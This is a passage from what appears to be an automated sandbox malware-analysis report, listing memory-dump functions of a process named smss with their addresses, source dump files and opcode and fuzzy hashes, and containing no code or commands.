                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7fb06b19c9a06819a78fcc7e63270dc85e4f58b2ecc896c2f6a1b52a0e4cccf7
                                                      • Instruction ID: a30d3bce2871f28a9de88c32ab85402745ff9a5e3df965f6cb24570aa55d309b
                                                      • Opcode Fuzzy Hash: 7fb06b19c9a06819a78fcc7e63270dc85e4f58b2ecc896c2f6a1b52a0e4cccf7
                                                      • Instruction Fuzzy Hash: 21115B32E0E5894FEB14F7B495661FC77E0EFA9310F05057DD049C31A3DA1528438300
                                                      Function 00007FFD9C06C31A Relevance: .1, Instructions: 71COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ce9b2fe1bbed1cad3bd07cc223a7ac587a6c63791d046eed6c7ee11e1352ef0b
                                                      • Instruction ID: 7128f4a5260eca89b0ffe8346951701b52aca9e0b76daeba6ba5273e0229c36c
                                                      • Opcode Fuzzy Hash: ce9b2fe1bbed1cad3bd07cc223a7ac587a6c63791d046eed6c7ee11e1352ef0b
                                                      • Instruction Fuzzy Hash: A021D411A4E2E38BE3765AB455325783E603F462A0F0903FBD19E8B0D3DE4E2441A353
                                                      Function 00007FFD9B904413 Relevance: .1, Instructions: 70COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: dc08265e886a516630f062ff3d671546bcf7a6d283224abf4ab04860dbcc070c
                                                      • Instruction ID: 6b176af781a133be0337e36b13e25707a1a54cb4dfd2829a23ad6a3951353015
                                                      • Opcode Fuzzy Hash: dc08265e886a516630f062ff3d671546bcf7a6d283224abf4ab04860dbcc070c
                                                      • Instruction Fuzzy Hash: 1221F135F2950E5EEBA4EB94C4757BC73E1FF94711F5601B9808DD32A5DE386A818B00
                                                      Function 00007FFD9C06E2C0 Relevance: .1, Instructions: 65COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7975d4b16f03e78fd7557268925a57f26b1bca33b46150f2523cbeb46ea809ea
                                                      • Instruction ID: 86144bfdafba9f4b910d77a2a82995e47995e6f139828be6316d6a8ab3239528
                                                      • Opcode Fuzzy Hash: 7975d4b16f03e78fd7557268925a57f26b1bca33b46150f2523cbeb46ea809ea
                                                      • Instruction Fuzzy Hash: EB11BF21B0CA1B8EDB64FF6492268F973A0FF55391F04463AD04EC76D2CF28B5469250
                                                      Function 00007FFD9C065210 Relevance: .1, Instructions: 65COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a221d10db3e0d1802a204513434f56caf8550c173078e0aef496a07000857c16
                                                      • Instruction ID: 0e9233ee5e3055eac8cc0191fa48b9a6f0ed9cbc5ab2f68f0c118081cf3876cb
                                                      • Opcode Fuzzy Hash: a221d10db3e0d1802a204513434f56caf8550c173078e0aef496a07000857c16
                                                      • Instruction Fuzzy Hash: 2411C131B09A0B4EDB64FF64D2268FA73A0EF56391F40463AD04EC75D2CF28B4469290
                                                      Function 00007FFD9BCCDD50 Relevance: .1, Instructions: 65COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 261ee7f4ca306991184bf34a437bfc0f2438dd10371fc139492a0adcabdd932e
                                                      • Instruction ID: 5868fc9b6589aa3731df739f335963c0509a903bb1d4d21ff23bd3e0277261c9
                                                      • Opcode Fuzzy Hash: 261ee7f4ca306991184bf34a437bfc0f2438dd10371fc139492a0adcabdd932e
                                                      • Instruction Fuzzy Hash: CF11BF31B0AA0E4FDB64FB7490659FD7390EFA5211B014A7AE04EC75E6CE29B6468260
                                                      Function 00007FFD9C06508E Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 10933519357e8320cb4c61a8f50fab2c685f6f145585f478c6b331734e16cb12
                                                      • Instruction ID: 354ee87be9cc7c1ce6f99805ca2314016ef28dad0359d47b07e14bd312604509
                                                      • Opcode Fuzzy Hash: 10933519357e8320cb4c61a8f50fab2c685f6f145585f478c6b331734e16cb12
                                                      • Instruction Fuzzy Hash: 5A116B3170950B8FE724AE54D57A6E973A0FF563A1F04433BD90EC72D2CB25A4918790
                                                      Function 00007FFD9C06E13E Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 491c961104b7143cf873c1faacd2ebfd1b2da36870d7d5fdfb4c37c0920c0d6f
                                                      • Instruction ID: e2a556a902ceb1f0d9c40dc86b241b957725520f831484c58b5d9c0b7a5accda
                                                      • Opcode Fuzzy Hash: 491c961104b7143cf873c1faacd2ebfd1b2da36870d7d5fdfb4c37c0920c0d6f
                                                      • Instruction Fuzzy Hash: BF11AB3130960B8FE724AE58D5762E833A0FF563A1F04423BD41DC72D1CB2468818740
                                                      Function 00007FFD9B90541B Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 429cb872208b229e220d7e65bbe74718af547e6a393ca7cbc35fa315afb26f4b
                                                      • Instruction ID: 8ae892194d175c3480cbf0c7932de7f7590936022022a4069fb6a0bfd804744f
                                                      • Opcode Fuzzy Hash: 429cb872208b229e220d7e65bbe74718af547e6a393ca7cbc35fa315afb26f4b
                                                      • Instruction Fuzzy Hash: 3E016525B2AC4E5FEBA8E77C8469A7473D1EF5874174604B5E04EC72F3DD18AD818740
                                                      Function 00007FFD9BCCDBCE Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1a24a97f047627263f80c81538feee7bc91fb7a41200d01e9966ccebed7b3c39
                                                      • Instruction ID: 75741c1ba27a5f2a4310f2516356ed17a34cde5aca4db98206affef79ae40514
                                                      • Opcode Fuzzy Hash: 1a24a97f047627263f80c81538feee7bc91fb7a41200d01e9966ccebed7b3c39
                                                      • Instruction Fuzzy Hash: 8C11483170A50F8FE724AB68D4352F97390EFA6321F05493BE809C72E2CB2566818750
                                                      Function 00007FFD9BCC70DE Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 318340cce2514d45e34446089315cb7a2dfdb9acf4a2d93cedbf79c2968adbfa
                                                      • Instruction ID: 0a212223a16c43610fc71d9a53012a5aa7f4d3376545d77c371c1fbdd6b85312
                                                      • Opcode Fuzzy Hash: 318340cce2514d45e34446089315cb7a2dfdb9acf4a2d93cedbf79c2968adbfa
                                                      • Instruction Fuzzy Hash: 3D114C3170A50B8FE725BE64E4656FC7390EFA6322F05453BE409C76E1CB24A5918750
                                                      Function 00007FFD9C061D68 Relevance: .1, Instructions: 55COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fa6066f7fcf31fa9e0abbca451b81c5b371721aab2524dd50c22ca3bdb261a5e
                                                      • Instruction ID: 19ab50f6bb9b5cb1d335ca19f8cb617e6a8adbe4918854d7107c5ca488b9b37b
                                                      • Opcode Fuzzy Hash: fa6066f7fcf31fa9e0abbca451b81c5b371721aab2524dd50c22ca3bdb261a5e
                                                      • Instruction Fuzzy Hash: 39012D32E0964E5FE774D9D4492A1BD77B1EF57380F010276D00ED7192DF542D06A761
                                                      Function 00007FFD9B900C38 Relevance: .1, Instructions: 54COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 44f5eab065aa92a38eb7ba9eb9b865c7b279b071c10e33c2661f7ac4132c005a
                                                      • Instruction ID: 7c624e47bea400004559f920d1b0d9791375d27a5c038bfbffc4fae5c1b6ca4e
                                                      • Opcode Fuzzy Hash: 44f5eab065aa92a38eb7ba9eb9b865c7b279b071c10e33c2661f7ac4132c005a
                                                      • Instruction Fuzzy Hash: 3B11A33AB1E69DAFE721DBA8886509D7BB0EF52710F0645B7C0C4DB1A2D93416498740
                                                      Function 00007FFD9B9042AE Relevance: .1, Instructions: 51COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d0aaa1b08b8389f7a1f946d46ce69c4e342b26e19f497b4a8f8ad2517b6f9922
                                                      • Instruction ID: 18b93cc27e2923770d603b20999058ff4e9fd5626a2ebc5f896144eba21ab00f
                                                      • Opcode Fuzzy Hash: d0aaa1b08b8389f7a1f946d46ce69c4e342b26e19f497b4a8f8ad2517b6f9922
                                                      • Instruction Fuzzy Hash: 22012124F2A90E5FEBA4F7B4846977863D2AF54740F4605B5D08DD72F6DD286E808700
                                                      Function 00007FFD9BCCB9BE Relevance: .1, Instructions: 51COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 988de1dfd9bf1a7d77b81770fcd98ea929e91d3ad9d6babd11762c8115e7ffe9
                                                      • Instruction ID: 1103b385c6f1466dc9f5184bcd888d15fcaa0e644029a30dce0e243724fc2479
                                                      • Opcode Fuzzy Hash: 988de1dfd9bf1a7d77b81770fcd98ea929e91d3ad9d6babd11762c8115e7ffe9
                                                      • Instruction Fuzzy Hash: ADF0F431B0CA4C4FE768AE2CA82A6BC73C0EF99321F01453BE48EC36A6CE2159424241
                                                      Function 00007FFD9B9057F5 Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 175fd3ec52e7b201cddfbf8b9f4eb4f016dc15797d2d6b94fa4e4c477b579ea1
                                                      • Instruction ID: 65e88a1aec56a60a9508b94f6d88ea85c153220a530affb5a4f0821f74017a4b
                                                      • Opcode Fuzzy Hash: 175fd3ec52e7b201cddfbf8b9f4eb4f016dc15797d2d6b94fa4e4c477b579ea1
                                                      • Instruction Fuzzy Hash: 4911DE34A18A1C8FDB94DF48C8D5BA977F5FB68305F11416AD84AD72A1CB34AA84CB41
                                                      Function 00007FFD9B90583C Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a2a0a12619942e257e7c6ba0312e82dd6521abf434f29b58d4dc1c656655fc6b
                                                      • Instruction ID: df9597aa0b418993ec74bf18e36ce016bdf7f036907caaec8a9b48a4bc99c2c5
                                                      • Opcode Fuzzy Hash: a2a0a12619942e257e7c6ba0312e82dd6521abf434f29b58d4dc1c656655fc6b
                                                      • Instruction Fuzzy Hash: F6112134A18A0D8FDB54EF48C8E4AADB7F5FB68304F50416DD84AD72A1CF34AA84CB40
                                                      Function 00007FFD9B900C40 Relevance: .0, Instructions: 48COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0633650cb3685d0c54dfbeec2f9ba8bb6b0fd39bed0a6d7c21fc09387ad9e932
                                                      • Instruction ID: a2ff03f74b6b92c9517df64279a24b140d02018aea5aaea9cfbf75a24ed62c9a
                                                      • Opcode Fuzzy Hash: 0633650cb3685d0c54dfbeec2f9ba8bb6b0fd39bed0a6d7c21fc09387ad9e932
                                                      • Instruction Fuzzy Hash: 9311A13AF1E69DAFE722DBA8C86509D7FB0EF52710F0641F7C084DB1A2D93866498740
                                                      Function 00007FFD9B904499 Relevance: .0, Instructions: 43COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 32982fa56f15a229e722d86dd2c3c6b7b83f4e2b4a9009ae796ccdb887273a68
                                                      • Instruction ID: 6a51654addbe2298c25569e6423ac849504a7dfcd294475bf6f804476d486309
                                                      • Opcode Fuzzy Hash: 32982fa56f15a229e722d86dd2c3c6b7b83f4e2b4a9009ae796ccdb887273a68
                                                      • Instruction Fuzzy Hash: F2014F25B2940D5BEEA4FBA48474BB833E2AF91710F4602B9D08DC73F2DD68AA414B00
                                                      Function 00007FFD9B900C48 Relevance: .0, Instructions: 42COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 67cbe2295b87b3a95b50422f385cd54900ae4785fc3ea1c31c7f7afbb34e6fd7
                                                      • Instruction ID: 6404da7eae29b33ac6d95682d31520fe3c3f0de5c107297645253396f7b458f5
                                                      • Opcode Fuzzy Hash: 67cbe2295b87b3a95b50422f385cd54900ae4785fc3ea1c31c7f7afbb34e6fd7
                                                      • Instruction Fuzzy Hash: 5F019239E1E28D9FE725DBA8C86409C7FB0EF42714F1641F7C084DB1A2D9386A498740
                                                      Function 00007FFD9C063872 Relevance: .0, Instructions: 40COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0cbd304ddd6fb6ccb29442bccab159e1f569657e1833a2b3c9faae21b1382e56
                                                      • Instruction ID: 885802d7fc84a62f19c3efb93786020dcec81322009409806829b8eda8d1415f
                                                      • Opcode Fuzzy Hash: 0cbd304ddd6fb6ccb29442bccab159e1f569657e1833a2b3c9faae21b1382e56
                                                      • Instruction Fuzzy Hash: FFF0C83144D3CA9FD7168FB0C9624E57FB0AF47240F1801F6E04AC7192C66D564AD791
                                                      Function 00007FFD9BCC58D2 Relevance: .0, Instructions: 38COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4660c687273ec9f584232ef6801b84cf497702f6ba1fabf0d6c4c29a828f451d
                                                      • Instruction ID: 34251ee0fa44821c6f7305108ee6c5299f177c8880e4652b2db3d9e9092696df
                                                      • Opcode Fuzzy Hash: 4660c687273ec9f584232ef6801b84cf497702f6ba1fabf0d6c4c29a828f451d
                                                      • Instruction Fuzzy Hash: 29F0963195E2CA9FD3129BF088264EA3FB4AF83214B0504F6E459CB0B2C62C2706C761
                                                      Function 00007FFD9BCCC3E2 Relevance: .0, Instructions: 37COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fcfc1731101c37f595ed3ec9c75dce49123e99ff80a29edbbbbb6a2c35e86323
                                                      • Instruction ID: 3f95e331dd127f494c062d84e5a1e22ae820e634f78e20b28a93566e1ebbadcf
                                                      • Opcode Fuzzy Hash: fcfc1731101c37f595ed3ec9c75dce49123e99ff80a29edbbbbb6a2c35e86323
                                                      • Instruction Fuzzy Hash: 3CF0963144E28A9FD312DBF088265FA3FB4EF52204B0944F6E449CB0A2C92C6746C7A1
                                                      Function 00007FFD9C06C952 Relevance: .0, Instructions: 36COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0acced7843ec87815d3279c4b7918165d30cd6ff2520eb697fb98993a825e9e1
                                                      • Instruction ID: 134c276ce85d747474d69cc6ed7b7a70b7f69924d0072226732466cf17bfa8e9
                                                      • Opcode Fuzzy Hash: 0acced7843ec87815d3279c4b7918165d30cd6ff2520eb697fb98993a825e9e1
                                                      • Instruction Fuzzy Hash: C3F0963158E2C69FD7129FB089265E97FB4AF03254F0801F6D44EC70A2C62D5606D761
                                                      Function 00007FFD9B9046EE Relevance: .0, Instructions: 34COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 878e0f4f666e70c8a559616be8538b6db8f62331b6f8ce2dded38efd8bce160a
                                                      • Instruction ID: 0fcc6f87d09a42ef483bce61f554ea020fe0dceaf9f575d5131c5bf54a1b2f4d
                                                      • Opcode Fuzzy Hash: 878e0f4f666e70c8a559616be8538b6db8f62331b6f8ce2dded38efd8bce160a
                                                      • Instruction Fuzzy Hash: 39F0B429F2F92FA6F6F0A3C8C47527823D1EB54710F1A0176D48DD32F1ED286E818641
                                                      Function 00007FFD9C06456A Relevance: .0, Instructions: 31COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 84c46fcf1018f2cd4a619f8527a663b4d41b62a4398e9e553cef3ab1f68903c7
                                                      • Instruction ID: 574ab9b09f528c51642c6d95256d3bbc7ff957f3940bbc7e678e0723a6ad8e3b
                                                      • Opcode Fuzzy Hash: 84c46fcf1018f2cd4a619f8527a663b4d41b62a4398e9e553cef3ab1f68903c7
                                                      • Instruction Fuzzy Hash: DBF06221A0D3C24FDB22DEA48DA24983FB09F17390B1806FAC4998B1D7D6586505A761
                                                      Function 00007FFD9B904551 Relevance: .0, Instructions: 30COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2b0645669372abf00ba4d8995b45db02cb84e4008997efade20ea7d9f7696e0c
                                                      • Instruction ID: 407d5f3661b629c9285a3d76a889acdc4831c6cbed577bbbf2414513bb227dbe
                                                      • Opcode Fuzzy Hash: 2b0645669372abf00ba4d8995b45db02cb84e4008997efade20ea7d9f7696e0c
                                                      • Instruction Fuzzy Hash: A8F0F425B1940D6AEBB4EB54C8747B833A2AF91711F5642B9C48DD73F1DD386F814B40
                                                      Function 00007FFD9B905B89 Relevance: .0, Instructions: 29COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8e8a7feb2fb45daead1243c967768135b507cbb0723db9307d3b2c63d6abfc36
                                                      • Instruction ID: 053a5e35d2ea887c4bc55deedbc99da916aa0d5a5d0302de45a54b52ac846930
                                                      • Opcode Fuzzy Hash: 8e8a7feb2fb45daead1243c967768135b507cbb0723db9307d3b2c63d6abfc36
                                                      • Instruction Fuzzy Hash: E0F08920F2954E9FEB50E7B8C0B9B7877D1AF45301F4641B5D08DD72B6DE28A9418700
                                                      Function 00007FFD9B904870 Relevance: .0, Instructions: 26COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f7a17ab58a715322a5ea87e411beb6f665ad52286b5b7b4e4a6fa5df9e326534
                                                      • Instruction ID: 72b672e5b03698ff4f4bf9832e9cf175af107f9dbb8dadb1f73b281a2d4345ac
                                                      • Opcode Fuzzy Hash: f7a17ab58a715322a5ea87e411beb6f665ad52286b5b7b4e4a6fa5df9e326534
                                                      • Instruction Fuzzy Hash: E7E0E518F2E51E66FAB4A7FA90752BC02C2AF46704F464475E4CED32E2EC2C6A410241
                                                      Function 00007FFD9C0604A8 Relevance: .0, Instructions: 22COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fbe10b2794e86961fb1c5f0e8c4919c94bb59e0b40713a0dbbc244ab1a30b71e
                                                      • Instruction ID: c5830b7083dae8067bbe5ff25f41f3ea39771ccfff8c0ce3d596bc26f5c280e9
                                                      • Opcode Fuzzy Hash: fbe10b2794e86961fb1c5f0e8c4919c94bb59e0b40713a0dbbc244ab1a30b71e
                                                      • Instruction Fuzzy Hash: 41E0C270E6C50F8EDB68DF8494625FDB670FF48344F900176C01EE2198DB282520A655
                                                      Function 00007FFD9BCCD0D7 Relevance: .0, Instructions: 18COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 34a4dc7e6b84a332e262a96b7247d09f22704eb65ebb805a77dfb650e48c7a79
                                                      • Instruction ID: 3ec9309d73e5c0165943281649d042457ee90a29088b6a9695554af6b748479c
                                                      • Opcode Fuzzy Hash: 34a4dc7e6b84a332e262a96b7247d09f22704eb65ebb805a77dfb650e48c7a79
                                                      • Instruction Fuzzy Hash: 69E0C252F0E38A4FEB3A26F808B407C2BA09F6738070709B6D1458A2E3D9087E025311
                                                      Function 00007FFD9B900B9A Relevance: .0, Instructions: 16COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
